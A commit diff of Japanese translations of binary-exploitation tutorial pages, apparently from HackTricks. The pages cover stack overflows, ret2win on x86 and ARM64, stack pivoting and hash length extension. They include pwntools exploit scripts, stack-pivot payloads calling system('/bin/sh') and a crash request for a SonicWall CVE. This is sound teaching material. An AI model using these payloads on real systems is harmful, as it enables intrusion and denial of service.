`pwntools>=4.10` は準拠したフレームを自動的に作成しますが、手動で構築する場合は、*reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略することを確認してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。
主流の Android 14 および Fedora 38 から、ユーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。そのことを考慮してガジェットを選択してください。
主流の Android 14 および Fedora 38 から、ユーザーランドはデフォルトで **PAC** (*Pointer Authentication*) と **BTI** が有効な状態でコンパイルされます(`-mbranch-protection=standard`)。*SROP* 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 `PC` を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う **その後の ROP チェーン** は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。ガジェットを選択する際にはその点を考慮してください。
ARMv8.9 で導入されたシャドウコールスタック(すでに ChromeOS 1.27+ で有効はコンパイラレベルの緩和策であり、SROP には干渉しません。なぜなら、戻り命令は実行されず、制御の流れはカーネルによって転送されるからです。

View File

@ -4,13 +4,13 @@
## What is a Stack Overflow
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
**スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、正当なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きできるようになります。
この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のよう**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
この脆弱性に対して一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のよう**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
例えば、以下の関数は脆弱である可能性があります:
```c
@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
```
### スタックオーバーフローのオフセットを見つける
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault` を期待します**
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのために通常は **De Bruijn シーケンス** が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる循環シーケンス**です。
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセットを見つける必要があります**。これには通常、**De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる循環シーケンス**です。
この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
### Ret2win
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセット**を見つけ、呼び出す**関数のアドレス**を見つけるだけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つためにはその関数を呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
{{#ref}}
ret2win/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... テクニック
このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなしNX**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニックret2lib、ret2syscallなどを実行することが可能になります
このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなしNX**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニックret2lib、ret2syscallなどを実行することが可能になります
{{#ref}}
../rop-return-oriented-programing/
@ -95,9 +95,9 @@ stack-shellcode/
../common-binary-protections-and-bypasses/
{{#endref}}
### 実世界の例CVE-2025-40596 (SonicWall SMA100)
### 実世界の例: CVE-2025-40596 (SonicWall SMA100)
**`sscanf`は信頼できない入力の解析に決して信頼されるべきではない**理由の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで現れました。\
**`sscanf`が信頼できない入力の解析に決して使用されるべきではない理由**の良いデモが、2025年にSonicWallのSMA100 SSL-VPNアプライアンスで発生しました。\
`/usr/src/EasyAccess/bin/httpd`内の脆弱なルーチンは、`/__api__/`で始まる任意のURIからバージョンとエンドポイントを抽出しようとします。
```c
char version[3];
@ -116,14 +116,14 @@ warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
スタックカナリアはプロセスを中止させますが、攻撃者は依然として**サービス拒否**のプリミティブを得ます(さらに情報漏洩があれば、コード実行も可能です)。教訓はシンプルです:
スタックカナリアがプロセスを中止させるにもかかわらず、攻撃者は依然として**サービス拒否**のプリミティブを得る(さらに情報漏洩があれば、コード実行も可能)。教訓はシンプルです:
* 常に**最大フィールド幅**を指定してください(例:`%511s`)。
* `snprintf`/`strncpy_s`のような安全な代替手段を好んで使用してください
* 常に**最大フィールド幅**を指定する(例:`%511s`)。
* `snprintf`/`strncpy_s`のような安全な代替手段を好
### 実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### 実世界の例CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIAのTriton Inference Server(≤ v25.06には、HTTP APIを通じて到達可能な複数の**スタックベースのオーバーフロー**が含まれていました。脆弱なパターンは`http_server.cc``sagemaker_server.cc`に繰り返し現れました:
NVIDIAのTriton Inference Server (≤ v25.06) には、HTTP APIを通じて到達可能な複数の**スタックベースのオーバーフロー**が含まれていました。脆弱なパターンは`http_server.cc``sagemaker_server.cc`に繰り返し現れました:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {

View File

@ -4,11 +4,11 @@
## 基本情報
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、特定の未呼び出しの関数をバイナリ内で実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win``flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、与えられたバイナリの脆弱性を悪用して、バイナリ内の特定の未呼び出しの関数を実行することです。この関数は通常、`win``flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
### Cの例
脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう
脆弱性を持つシンプルなCプログラムと、呼び出すことを意図している `win` 関数を考えてみましょう:
```c
#include <stdio.h>
#include <string.h>
@ -27,13 +27,13 @@ vulnerable_function();
return 0;
}
```
このプログラムをスタック保護なしで、かつ**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます
このプログラムをスタック保護なしで、**ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: プログラムを32ビットバイナリとしてコンパイルしますこれはオプションですが、CTFチャレンジでは一般的です
- `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。
- `-z execstack`: スタック上のコードの実行を許可します。
- `-z execstack`: スタック上のコードの実行を許可します。
- `-no-pie`: 位置独立実行可能ファイルを無効にして、`win`関数のアドレスが変更されないようにします。
- `-o vulnerable`: 出力ファイルの名前を`vulnerable`にします。
@ -59,7 +59,7 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
```sh
objdump -d vulnerable | grep win
```
@ -69,7 +69,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
## 保護
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべきです**。そうしないと、実行ごとにアドレスが信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**1 ニブル)です。
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**1 ニブル)です。
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
## その他の例と参考文献
@ -82,7 +82,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64ビット、ASLRなし
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを
- 32ビット、ASLRなし、ダブルオーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを大きくする
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数ret2winで上書きするフォーマット文字列
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
@ -90,7 +90,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き1バイト
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
- プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64ビット、relro、カナリアなし、nx、pie。`win` 関数ret2winを呼び出すための部分上書き
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
@ -100,6 +100,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると
## ARM64 の例
{{#ref}}
ret2win-arm64.md
{{#endref}}

View File

@ -2,7 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
arm64の紹介は以下を参照してください
arm64の紹介を見つけるには:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -37,7 +38,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
この例は [**GEF**](https://github.com/bata24/gef) を使用して作成されました:
gefgdbを起動し、パターンを作成して使用します
gefを使用してgdbを起動し、パターンを作成して使用します
```bash
gdb -q ./ret2win
pattern create 200
@ -113,7 +114,7 @@ p.close()
### Off-by-1
実際、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトだけ**を`0x06c4`で上書きします。
実際には、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトだけ**を`0x06c4`で上書きします。
```python
from pwn import *
@ -135,12 +136,12 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができます。これは架空の脆弱性における実際のオフバイ-**ワン**です。
ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができこれは架空の脆弱性における実際のオフバイ-**ワン**です。
## PIEあり
## PIEを使用して
> [!TIP]
> バイナリを**`-no-pie`引数なしでコンパイルしてください**
> バイナリを**`-no-pie`引数なしでコンパイルする**
### オフバイ-2

View File

@ -6,40 +6,40 @@
この技術は、**ベースポインタEBP/RBP**を操作する能力を利用して、フレームポインタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
おさらいとして、x86/x86-64において**`leave`**は次のように等価です
おさらいとして、x86/x86-64において**`leave`**は次のように等価です:
```
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
そして、保存された **EBP/RBP がスタック内で保存された EIP/RIP の前にあるため**、スタックを制御することでそれを制御することが可能です。
そして、保存された **EBP/RBP がスタック内で** 保存された EIP/RIP の前にあるため、スタックを制御することでそれを制御することが可能です。
> 注意
> - 64ビットでは、EBP→RBP および ESP→RSP に置き換えます。意味は同じです。
> - 一部のコンパイラはフレームポインタを省略します「EBP が使用されない可能性があ」を参照)。その場合、`leave` が表示されない可能性があり、この技術は機能しません。
> - 一部のコンパイラはフレームポインタを省略します「EBP が使用されない可能性があります」を参照)。その場合、`leave` が表示されない可能性があり、この技術は機能しません。
### EBP2Ret
この技術は、**保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない**場合に特に有用です。関数のエピローグの動作を利用します。
`fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す **偽の EBP** をスタックに注入することに成功すればamd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成した位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者がそこに保存したアドレスを指すようにします**。その後、`ret` はそのアドレスを使用します。
`fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す **偽の EBP** をスタックに注入することに成功すればamd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成された位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者によってそこに保存されたアドレスを指すようになります**。その後、`ret` はそのアドレスを使用します。
**2 つのアドレスを知っておく必要があることに注意してください**: ESP/RSP が移動するアドレスと、そのアドレスに `ret` が消費する値です。
**2 つのアドレスを知必要があることに注意してください**: ESP/RSP が移動するアドレスと、そのアドレスに `ret` が消費する値です。
#### エクスプロイト構築
#### 攻撃構築
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。RSP はここを指し、**最初の `ret` を消費します**。
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知必要があります。RSP はここを指し、**最初の `ret` を消費します**。
次に、**実行を転送する**ために `ret` が使用するアドレスを選択する必要があります。次のようなものを使用できます:
次に、**実行を転送する**ために `ret` が使用するアドレスを選択する必要があります。次のよう使用できます:
- 有効な [**ONE_GADGET**](https://github.com/david942j/one_gadget) アドレス。
- **`system()`** のアドレス、その後に適切な戻り値と引数x86 の場合: `ret` ターゲット = `&system`、次に 4 バイトのジャンク、次に `&"/bin/sh"`)。
- **`jmp esp;`** ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))その後にインラインシェルコード
- 適切な戻り値と引数に続く **`system()`** のアドレスx86 の場合: `ret` ターゲット = `&system`、次に 4 バイトのジャンク、次に `&"/bin/sh"`)。
- インラインシェルコードに続く **`jmp esp;`** ガジェット ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) のアドレス
- 書き込み可能なメモリにステージされた [**ROP**](../rop-return-oriented-programing/index.html) チェーン。
これらのアドレスの前には、制御された領域に **`pop ebp/rbp`** のためのスペースが必要ですamd64 では 8B、x86 では 4B。これらのバイトを悪用して **2 番目の偽 EBP** を設定し、最初の呼び出しが戻った後も制御を維持できます。
これらのアドレスの前には、**`leave` からの `pop ebp/rbp` のためのスペースが必要です**amd64 では 8B、x86 では 4B。これらのバイトを悪用して、**2 番目の偽の EBP** を設定し、最初の呼び出しが戻った後も制御を維持できます。
#### Off-By-One エクスプロイト
#### Off-By-One 攻撃
保存された EBP/RBP の最下位バイトのみを **変更できる** 場合に使用されるバリアントがあります。この場合、**`ret`** でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3 バイト/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。
@ -51,12 +51,12 @@ ret
これで `RSP` が制御され、次の命令は `ret` です。制御されたメモリに次のようなものを配置します:
- `&(次の偽 EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。
- `&(次の偽 EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。
- `&system()` -> `ret` によって呼び出されます。
- `&(leave;ret)` -> `system` が終了した後、RSP を次の偽 EBP に移動させ、続行します。
- `&(leave;ret)` -> `system` が終了した後、RSP を次の偽 EBP に移動させ、続行します。
- `&("/bin/sh")` -> `system` の引数。
このようにして、プログラムのフローを制御するために複数の偽 EBP をチェーンすることが可能です。
このようにして、プログラムのフローを制御するために複数の偽 EBP をチェーンすることが可能です。
これは [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) のようなものですが、より複雑で、エッジケースでのみ有用です。
@ -174,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg <reg>, rsp ガジェット
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -182,7 +182,8 @@ xchg <reg>, rsp
```
### jmp esp
ret2espテクニックについては、こちらを確認してください
ret2espテクニックについては、こちらを確認してください:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
@ -194,9 +195,9 @@ ret2espテクニックについては、こちらを確認してください
- `leave ; ret` 関数またはライブラリ内
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (または x86 では `add esp, <imm> ; ret`
- `add rsp, <imm> ; ret` (または `add esp, <imm> ; ret` x86の場合
:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
@ -248,7 +249,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
ARM64では、関数の**プロローグとエピローグ**は**スタックにSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることによって**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法**がまだ必要です。
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすること**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法**がまだ必要です。
- プロローグ
@ -267,10 +268,11 @@ ret
```
> [!CAUTION]
> ARM64でスタックピボティングに似たことを行う方法は、**`SP`**を**制御できること**`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後**エピローグを悪用**して**制御された`SP`から**`x30`**レジスタをロードし、**`RET`**します。
> ARM64でスタックピボティングに似たことを行う方法は、**`SP`**を**制御ること**`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後**エピローグを悪用して**、**制御された`SP`**から**`x30`**レジスタをロードし、**`RET`**をそれに戻すことです。
次のページでは、**ARM64におけるRet2espの同等物**を見ることができます:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
@ -280,9 +282,9 @@ ret
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64ビット、リターンスレッドで始まるROPチェーンによるオフバイワンの悪用
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンの悪用
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボティングして呼び出されます。
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを許可します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボティングして呼び出されます。
- Linuxカーネルドキュメント: 制御フロー強制技術CETシャドウスタック — SHSTK、`nousershstk``/proc/$PID/status`フラグ、および`arch_prctl`を介しての有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: カーネルモードハードウェア強制スタック保護WindowsのCETシャドウスタック。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

View File

@ -2,7 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
arm64の紹介は以下を参照してください
arm64の紹介を見つけるには:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -23,13 +24,13 @@ vulnerable_function();
return 0;
}
```
PIE、カナリア、NXなしでコンパイル
PIE、カナリア、NXなしでコンパイル:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
ASLRを停止するには、次のコマンドを実行します:
ASLRを停止するには、次を実行します:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

View File

@ -4,7 +4,7 @@
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
のウィキをチェックして、より多くのエソテリック言語を検索してください。
のウィキをチェックして、より多くのエソテリック言語を検索してください。
## Malbolge
```

View File

@ -4,28 +4,28 @@
## 攻撃の概要
サーバーが**データ**に**秘密**を**追加**してからそのデータをハッシュ化して**署名**していると想像してください。もしあなたが以下を知っているなら:
サーバーが**データ**に**秘密**を**追加**して、既知の平文データをハッシュ化して**署名**していると想像してください。もしあなたが以下を知っているなら:
- **秘密の長さ**(これは与えられた長さの範囲からブルートフォース可能です)
- **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます)
- **平文データ**
- **アルゴリズム(そしてそれがこの攻撃に対して脆弱であること**
- **パディングが知られていること**
- 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです
- **アルゴリズム(そしてそれがこの攻撃に対して脆弱である)**
- **パディングが知られている**
- 通常はデフォルトのものが使用されるので、他の3つの要件が満たされていれば、これもそうです
- パディングは秘密+データの長さによって異なるため、秘密の長さが必要です
その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加されたデータ**の有効な**署名**を**生成**することが可能です。
### どうやって?
基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。
基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に作成されたハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。
例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
攻撃者が「append」という文字列を追加したい場合、彼は以下のことができます
- 64の「A」のMD5を生成する
- 64の「A」のMD5を生成する
- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
- 文字列「append」を追加する
- ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります
- ハッシュを完了させ、その結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります
### **ツール**
@ -35,6 +35,6 @@ https://github.com/iagox86/hash_extender
### 参考文献
この攻撃については[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。
この攻撃については[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# RC4 Encrypt and Decrypt
{{#include ../banners/hacktricks-training.md}}
もしRC4を使用してプレーンテキストを暗号化できれば、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化できます。
もしあなたがRC4を使用してプレーンテキストを暗号化できるなら、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化することができます。
既知のプレーンテキストを暗号化できれば、パスワードを抽出することも可能です。詳細なリファレンスはHTB Kryptosマシンで見つけることができます
既知のプレーンテキストを暗号化できる場合、パスワードを抽出することも可能です。詳細なリファレンスはHTB Kryptosマシンで見つけることができます
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/

View File

